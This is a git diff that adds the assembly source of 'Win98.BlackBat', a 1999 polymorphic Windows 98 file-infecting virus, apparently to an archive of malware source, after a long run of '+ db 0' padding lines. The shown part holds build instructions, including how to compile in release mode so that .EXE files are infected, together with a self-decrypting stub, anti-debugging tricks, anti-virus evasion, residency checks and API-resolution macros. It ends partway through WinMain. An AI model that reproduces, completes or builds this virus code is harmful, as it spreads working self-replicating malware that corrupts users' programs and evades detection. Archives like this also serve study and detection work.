0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[drop2.inc]ΔΔΔ diff --git a/LegacyWindows/Win98.BlackBat.asm b/LegacyWindows/Win98.BlackBat.asm new file mode 100644 index 00000000..e7bf056a --- /dev/null +++ b/LegacyWindows/Win98.BlackBat.asm @@ -0,0 +1,1936 @@ + +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | \|/ Win98.BlackBat | | +;| | (. .) ================ | | +;| | ( | ) | | +;| | ( v ) (c) 1999, Rohitab Batra | | +;| | __| |__ | | +;| | // \\ ICQ: 11153794 | | +;| | // ^ | | +;| | ((====> http://www.rohitab.com | | +;| | | | +;| | Discussion Forum: http://www.rohitab.com/discuss/ | | +;| | Mailing List: http://www.rohitab.com/mlist/ | | +;| | | | +;| | | | +;| |"Blessed is he who expects nothing, for he shall not be disappointed" | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; +;Compiling (Turbo Assembler) +; c:\>tasm32 /ml /m3 /t /w2 /s /p /dDEBUG=1 BlackBat +; +;Setting DEBUG=0 will compile the virus in Release mode. In this mode, an error +;message will be displayed, so that you don't accidently compile in release mode. +;In Release mode, the size of the Virus will be smaller, and .EXE files will be +;infected, instead of .XYZ files. In Debug mode, the file NOTEPAD.EXE, if found +;in the current directory, will be infected. +; +;Linking (Turbo Linker) +; c:\>tlink32 /x /Tpe /aa /c BlackBat,BlackBat,,IMPORT32.LIB +; +;Making Code Section Writable (EditBin from SDK, or any other utility) +; c:\>editbin /SECTION:CODE,w BlackBat.EXE +; +;***** Info About the Virus ***** +;* If WIN.SYS is found in the root directory, the virus does not infect any file, +; and does not become resident. +;* File time and attributes are restored after infection +;* Encrypted with a random key +;* Doesn't infect anti-virus files, NAV, TBAV, SCAN, CLEAN, F-PROT +;* Anti-Debugging Code +;* Structured Exception Handling +;* Decryption engine is Polymorphic +; +;***** TODO ***** +;1. Dont infect files with todays date +;2. Draw Random Bats on the Screen (Use CreateCompatibleBitmap & Get/Set Pixel) +;3. Doesn't infect files in directories with long file names + +.386p +.model flat ,stdcall +EXTRN ExitProcess:PROC ;Any Imported Fn, so that the first + ;generation copy executes without crashing +.data + DB ? ;Required for TASM, Else will Crash !!?? +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | @MESSAGE_BOX Macro | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> Displays a MessageBox with the given Message. Note the caption of +; the MessageBox is the same as the Message +; +; Arguments +; -> szMessage: Message to be displayed +; +; Return Value: +; -> None +; +; Registers Destroyed +; -> ALL +;___________________________ +@MESSAGE_BOX MACRO szMessage + IF DEBUG + @DELTA esi + mov eax, esi + add eax, offset szMessage + call esi + MessageBoxA, 0, eax, eax, MB_OK OR MB_ICONINFORMATION + ENDIF +ENDM +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | @DEFINE_API Macro | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> Defines an API that will be called by the Virus. The macro is expanded +; to the following, if APIName is MessageBoxA: +; szMessageBoxA DB "MessageBoxA", 0 +; MessageBoxA DD ? +; +; Arguments +; -> APIName: API to be defined. MUST BE EXACTLY the same as exported by +; the DLL. e.g. MessageBoxA +; +; Return Value: +; -> None +; +; Registers Destroyed +; -> None +; +;________________________ +@DEFINE_API MACRO APIName + sz&APIName DB "&APIName", 0 ;;ASCIIZ Name of API + &APIName DD ? ;;Storage space for API Address +ENDM +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | @DELTA Macro | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> Returns the delta offset in the specified register +; +; Arguments +; -> Register: register in which the value of the delta offset is copied +; +; Return Value: +; -> Register: Delta Offset +; +; Registers Destroyed +; -> Register +; +;____________________ +@DELTA MACRO Register + LOCAL GetIP + call GetIP ;;This will push EIP on the stack +GetIP: + pop Register ;;get EIP of current instruction + sub Register, offset GetIP ;;Delta Offset +ENDM +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | @OFFSET Macro | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> Returns the true offset of the specified address. Unlike the offset +; keyword, which calculates the address at assembly time, this macro +; calculates the address at run-time. This is used to get the correct +; offset when the virus has been relocated. Instead of using instructions +; like "mov esi, offset szFilename", use "@OFFSET esi, szFilename" +; +; Arguments +; -> Register: register in which the offset is to be returned +; -> Expression: expression whose offset is required +; +; Return Value: +; -> Register: Correct offset of Expression +; +; Registers Destroyed +; -> Register +; +;_________________________________ +@OFFSET MACRO Register, Expression + LOCAL GetIP + call GetIP ;;This will push EIP on the stack +GetIP: + pop Register ;;get EIP of current instruction + add Register, offset Expression - offset GetIP ;;True offset +ENDM +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | @GET_API_ADDRESS Macro | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> Gets the address of the API, and stores it +; +; Arguments +; -> APIName: API whose address is required +; -> ESI: Delta Offset +; -> EBX: Address of GetProcAddress(...) +; -> ECX: Base address of DLL which exports the API +; +; Return Value: +; -> None +; +; Registers Destroyed +; -> All Except ESI, EBX and ECX +; +;_____________________________ +@GET_API_ADDRESS MACRO APIName + push ebx ;;Save Addr of GetProcAddress(...) + push ecx ;;Save Image Base + + mov eax, esi + add eax, offset sz&APIName ;;API whose address is required + call ebx, ecx, eax ;;GetProcAddress(...) + + pop ecx ;;Restore Image Base + pop ebx ;;Restore Addr of GetProcAddress(...) + + mov [esi + APIName], eax ;;Save API Address +ENDM +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | @TRY_BEGIN, @TRY_EXCEPT and @TRY_END Exception Handling Macros | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> @TRY_BEGIN: This macro is used to install the exception handler. The +; code that follows this is the one that is checked for +; exceptions +; @TRY_EXCEPT: The code that follows this is executed if an exception +; occurs. +; @TRY_END: This is used to mark the end of the TRY block +; +; Example +; @TRY_BEGIN ZeroMemory +; +; @TRY_CATCH ZeroMemory +; +; @TRY_END ZeroMemory +; +; Arguments +; -> Handler: Name of the exception handler. MUST BE UNIQUE throughout the +; program +; +; Return Value: +; -> None +; +; Registers Destroyed +; -> If an exception occurs, all registers are restored to the state before +; the @TRY_BEGIN block, otherwise, no registers are modified +;_______________________ +@TRY_BEGIN MACRO Handler + pushad ;;Save Current State + @OFFSET esi, Handler ;;Address of New Exception Handler + push esi + push dword ptr fs:[0] ;;Save Old Exception Handler + mov dword ptr fs:[0], esp ;;Install New Handler +ENDM + +@TRY_EXCEPT MACRO Handler + jmp NoException&Handler ;;No Exception Occured, so jump over +Handler: + mov esp, [esp + 8] ;;Exception Occured, Get old ESP + pop dword ptr fs:[0] ;;Restore Old Exception Handler + add esp, 4 ;;ESP value before SEH was set + popad ;;Restore Old State +ENDM + +@TRY_END MACRO Handler + jmp ExceptionHandled&Handler ;;Exception was handled by @TRY_EXCEPT +NoException&Handler: ;;No Exception Occured + pop dword ptr fs:[0] ;;Restore Old Exception Handler + add esp, 32 + 4 ;;ESP value before SEH was set. 32 for pushad and ... + ;;...4 for push offset Handler. (No Restore State) +ExceptionHandled&Handler: ;;Exception has been handled, or no exception occured +ENDM +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | @CALL_INT21h Macro | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> Makes an INT 21h Call in Protected Mode +; +; Arguments +; -> Service: INT 21h Service Number +; +; Return Value: +; -> None +; +; Registers Destroyed +; -> Depends on Service called +;_________________________ +@CALL_INT21h MACRO Service + mov eax, Service ;;INT 21h Service + @DELTA esi + call esi + VxDCall, VWIN32_Int21Dispatch, eax, ecx +ENDM +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | Constants | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +;Win32 Constants + PAGE_READWRITE EQU 00000004h + IMAGE_READ_WRITE_EXECUTE EQU 0E0000000h + IMAGE_SCN_MEM_SHARED EQU 10000000h ;Section is Sharable + IMAGE_FILE_DLL EQU 2000h ;File is a DLL + FILE_MAP_ALL_ACCESS EQU 000F001Fh + IMAGE_SIZEOF_NT_SIGNATURE EQU 04h ;PE00 = 0x00004550, 4 bytes + NULL EQU 0 + TRUE EQU 1 + FALSE EQU 0 + +;File Access + GENERIC_READ EQU 80000000h ;Access Mode Read Only + GENERIC_WRITE EQU 40000000h ;Access Mode Write Only + FILE_SHARE_READ EQU 00000001h ;Open Share, Deny Write + FILE_SHARE_WRITE EQU 00000002h ;Open Share, Deny Read + INVALID_HANDLE_VALUE EQU -1 + ERROR_ALREADY_EXISTS EQU 000000B7h + FILE_ATTRIBUTE_NORMAL EQU 00000080h + OPEN_EXISTING EQU 3 ;Fail if not found + +;Shutdown Options + EWX_FORCE EQU 4 + EWX_SHUTDOWN EQU 1 + +;MessageBox + MB_OK EQU 00000000h + MB_YESNO EQU 00000004h + MB_ICONINFORMATION EQU 00000040h + +;Virus_Constants + @BREAK EQU int 3 + ;MAX_RUN_TIME EQU 5*60*60*1000 ;Time we allow windows to run, 5hrs + VIRUS_SIGNATURE EQU 08121975h ;My B'day, 8 Dec 1975 + RESIDENCY_CHECK_SERVICE EQU 0AD75h ;Used to check if Virus is resident + RESIDENCY_SUCCESS EQU 0812h ;Value returned if Virus is resident + +;VxD Stuff + VWIN32_Int21Dispatch EQU 002A0010h + LFN_OPEN_FILE_EXTENDED EQU 716Ch + PC_WRITEABLE EQU 00020000h + PC_USER EQU 00040000h + PR_SHARED EQU 80060000h + PC_PRESENT EQU 80000000h + PC_FIXED EQU 00000008h + PD_ZEROINIT EQU 00000001h + SHARED_MEMORY EQU 80000000h ;Anything above this is shared + PageReserve EQU 00010000h + PageCommit EQU 00010001h + PAGE_SIZE EQU 4096 ;Size of a Page in Win9x +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | Structures | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +FILETIME STRUC + FT_dwLowDateTime DD ? + FT_dwHighDateTime DD ? +FILETIME ENDS + +IMAGE_DOS_HEADER STRUC ;DOS .EXE header + IDH_e_magic DW ? ;Magic number + IDH_e_cblp DW ? ;Bytes on last page of file + IDH_e_cp DW ? ;Pages in file + IDH_e_crlc DW ? ;Relocations + IDH_e_cparhdr DW ? ;Size of header in paragraphs + IDH_e_minalloc DW ? ;Minimum extra paragraphs needed + IDH_e_maxalloc DW ? ;Maximum extra paragraphs needed + IDH_e_ss DW ? ;Initial (relative) SS value + IDH_e_sp DW ? ;Initial SP value + IDH_e_csum DW ? ;Checksum + IDH_e_ip DW ? ;Initial IP value + IDH_e_cs DW ? ;Initial (relative) CS value + IDH_e_lfarlc DW ? ;File address of relocation table + IDH_e_ovno DW ? ;Overlay number + IDH_e_res DW 4 DUP (?) ;Reserved words + IDH_e_oemid DW ? ;OEM identifier (for IDH_e_oeminfo) + IDH_e_oeminfo DW ? ;OEM information; IDH_e_oemid specific + IDH_e_res2 DW 10 DUP (?) ;Reserved words + IDH_e_lfanew DD ? ;File address of new exe header +IMAGE_DOS_HEADER ENDS + +IMAGE_FILE_HEADER STRUC + IFH_Machine DW ? ;System that the binary is intended to run on + IFH_NumberOfSections DW ? ;Number of sections that follow headers + IFH_TimeDateStamp DD ? ;Time/Date the file was created on + IFH_PointerToSymbolTable DD ? ;Used for debugging information + IFH_NumberOfSymbols DD ? ;Used for debugging information + IFH_SizeOfOptionalHeader DW ? ;sizof(IMAGE_OPTIONAL_HEADER) + IFH_Characteristics DW ? ;Flags used mostly for libraries +IMAGE_FILE_HEADER ENDS + +IMAGE_DATA_DIRECTORY STRUC + IDD_VirtualAddress DD ? + IDD_Size DD ? +IMAGE_DATA_DIRECTORY ENDS + +IMAGE_OPTIONAL_HEADER STRUC + ;Standard Fields + IOH_Magic DW ? ;Mostly 0x010B + IOH_MajorLinkerVersion DB ? ;Version of the linker used + IOH_MinorLinkerVersion DB ? ;Version of the linker used + IOH_SizeOfCode DD ? ;Size of executable code + IOH_SizeOfInitializedData DD ? ;Size of Data Segment + IOH_SizeOfUninitializedData DD ? ;Size of bss Segment + IOH_AddressOfEntryPoint DD ? ;RVA of code entry point + IOH_BaseOfCode DD ? ;Offset to executable code + IOH_BaseOfData DD ? ;Offset to initialized data + ;NT Additional Fields + IOH_ImageBase DD ? ;Preferred load address + IOH_SectionAlignment DD ? ;Alignment of Sections in RAM + IOH_FileAlignment DD ? ;Alignment of Sections in File + IOH_MajorOperatingSystemVersion DW ? ;OS Version required to run this image + IOH_MinorOperatingSystemVersion DW ? ;OS Version required to run this image + IOH_MajorImageVersion DW ? ;User specified version number + IOH_MinorImageVersion DW ? ;User specified version number + IOH_MajorSubsystemVersion DW ? ;Expected Subsystem version + IOH_MinorSubsystemVersion DW ? ;Expected Subsystem version + IOH_Win32VersionValue DD ? ;Mostly set to 0 + IOH_SizeOfImage DD ? ;Amount of memory the image will need + IOH_SizeOfHeaders DD ? ;Size of DOS hdr, PE hdr and Object table + IOH_CheckSum DD ? ;Checksum (Used by NT to check drivers) + IOH_Subsystem DW ? ;Subsystem required to run this image + IOH_DllCharacteristics DW ? ;To decide when to call DLL's entry point + IOH_SizeOfStackReserve DD ? ;Size of Reserved Stack + IOH_SizeOfStackCommit DD ? ;Size of initially commited stack + IOH_SizeOfHeapReserve DD ? ;Size of local heap to reserve + IOH_SizeOfHeapCommit DD ? ;Amount to commit in local heap + IOH_LoaderFlags DD ? ;Not generally used + IOH_NumberOfRvaAndSizes DD ? ;Number of valid entries in DataDirectory + IOH_DataDirectory IMAGE_DATA_DIRECTORY 16 DUP (?) +IMAGE_OPTIONAL_HEADER ENDS + +IMAGE_EXPORT_DIRECTORY STRUC + IED_Characteristics DD ? ;Currently set to 0 + IED_TimeDateStamp DD ? ;Time/Date the export data was created + IED_MajorVersion DW ? ;User settable + IED_MinorVersion DW ? + IED_Name DD ? ;RVA of DLL ASCIIZ name + IED_Base DD ? ;First valid exported ordinal + IED_NumberOfFunctions DD ? ;Number of entries + IED_NumberOfNames DD ? ;Number of entries exported by name + IED_AddressOfFunctions DD ? ;RVA of export address table + IED_AddressOfNames DD ? ;RVA of export name table pointers + IED_AddressOfNameOrdinals DD ? ;RVA of export ordinals table entry +IMAGE_EXPORT_DIRECTORY ENDS + +IMAGE_SECTION_HEADER STRUC + ISH_Name DB 8 DUP (?) ;NULL padded ASCII string + UNION + ISH_PhysicalAddress DD ? + ISH_VirtualSize DD ? ;Size that will be allocated when obj is loaded + ENDS + ISH_VirtualAddress DD ? ;RVA to section's data when loaded in RAM + ISH_SizeOfRawData DD ? ;Size of sections data rounded to FileAlignment + ISH_PointerToRawData DD ? ;Offset from files beginning to sections data + ISH_PointerToRelocations DD ? + ISH_PointerToLinenumbers DD ? + ISH_NumberOfRelocations DW ? + ISH_NumberOfLinenumbers DW ? + ISH_Characteristics DD ? ;Flags to decide how section should be treated +IMAGE_SECTION_HEADER ENDS + +SYSTEMTIME STRUC + ST_wYear DW ? + ST_wMonth DW ? + ST_wDayOfWeek DW ? + ST_wDay DW ? + ST_wHour DW ? + ST_wMinute DW ? + ST_wSecond DW ? + ST_wMilliseconds DW ? +SYSTEMTIME ENDS +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | Virus Entry Point | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +.code +;Decryptor +StartOfVirusCode: + call GetDelta +GetDelta: + DB 5Eh ;pop esi + DB 83h ;add esi, EncryptedVirusCode - GetDelta + DB 0C6h + DB offset EncryptedVirusCode - offset GetDelta + DB 0B9h ;mov ecx, ENCRYPTED_SIZE + DD ENCRYPTED_SIZE +DecryptByte: + DB 80h ;xor byte ptr [esi], 00h + DB 36h +EncryptionKey: + DB 00h + DB 46h ;inc esi + DB 49h ;dec ecx + jnz DecryptByte + +EncryptedVirusCode: ;Code from this point is encrypted + jmp WinMain ;Goto Main Program +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | Data Area | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ + dwKernelBase EQU 0BFF70000h ;Base address of KERNEL32.DLL + dwUserBase DD ? ;Base address of USER32.DLL + szUser32DLL DB "USER32", 0 ;.DLL Extention is not required + +;Host File Variables + hHostFile DD ? ;Handle of host file + hMappedFile DD ? ;Handle of mapped host file + lpHostFile DD ? ;Pointer to mapped host file in memory + ftLastAccessTime FILETIME ? ;Time the file was last accessed + ftLastWriteTime FILETIME ? ;Time the file was last written to + dwFileAttributes DD ? ;File attributes of host file +;Virus Variables + szNoInfectFileName DB "C:\WIN.SYS", 0 ;If this file exists, machine is not infected + +;VxD Stuff + OldInt30 DB 6 DUP (0) + VxDCall_Busy DB ? ;Semaphore + szOutputFile DB "C:\VIRUS.TXT", 0 + +;KERNEL32 API's + VxDCall DD ? ;Exported by ordinal only (Ord 1) + @DEFINE_API GetProcAddress + @DEFINE_API CloseHandle + @DEFINE_API CreateFileA + @DEFINE_API CreateFileMappingA + @DEFINE_API GetFileAttributesA + @DEFINE_API GetFileSize + @DEFINE_API GetFileTime + @DEFINE_API GetLocalTime + @DEFINE_API GetTickCount + @DEFINE_API LoadLibraryA + @DEFINE_API MapViewOfFile + @DEFINE_API SetFileAttributesA + @DEFINE_API SetFileTime + @DEFINE_API UnmapViewOfFile + +;USER32 API's + @DEFINE_API ExitWindowsEx + IF DEBUG + @DEFINE_API MessageBoxA + ENDIF + +;DEBUG Only Stuff +IF DEBUG + szHostFileName DB "NOTEPAD.EXE",0 + szWinMainHandler DB "Unhandled Exception in WinMain", 0 + szPayLoad DB "Happy BirthDay :-)", 0 + szInfected DB "This File is Infected by the BlackBat Virus", 0 +ENDIF +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | WinMain | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +WinMain PROC + IFE DEBUG ;Only for Release Versions + cli + not esp ;Anti-Debug Code ... + not esp ;...will crash if single-stepped + sti + ENDIF + + @TRY_BEGIN WinMain_Handler ;Putting code in protected block + call IsVirusActive + test eax, eax ;Virus Resident ? + jne End_WinMain ;Yes, return to host + + ;Get Addresses of all Required API's + call GetAPIAddresses ;Get the addresses of the other API's + 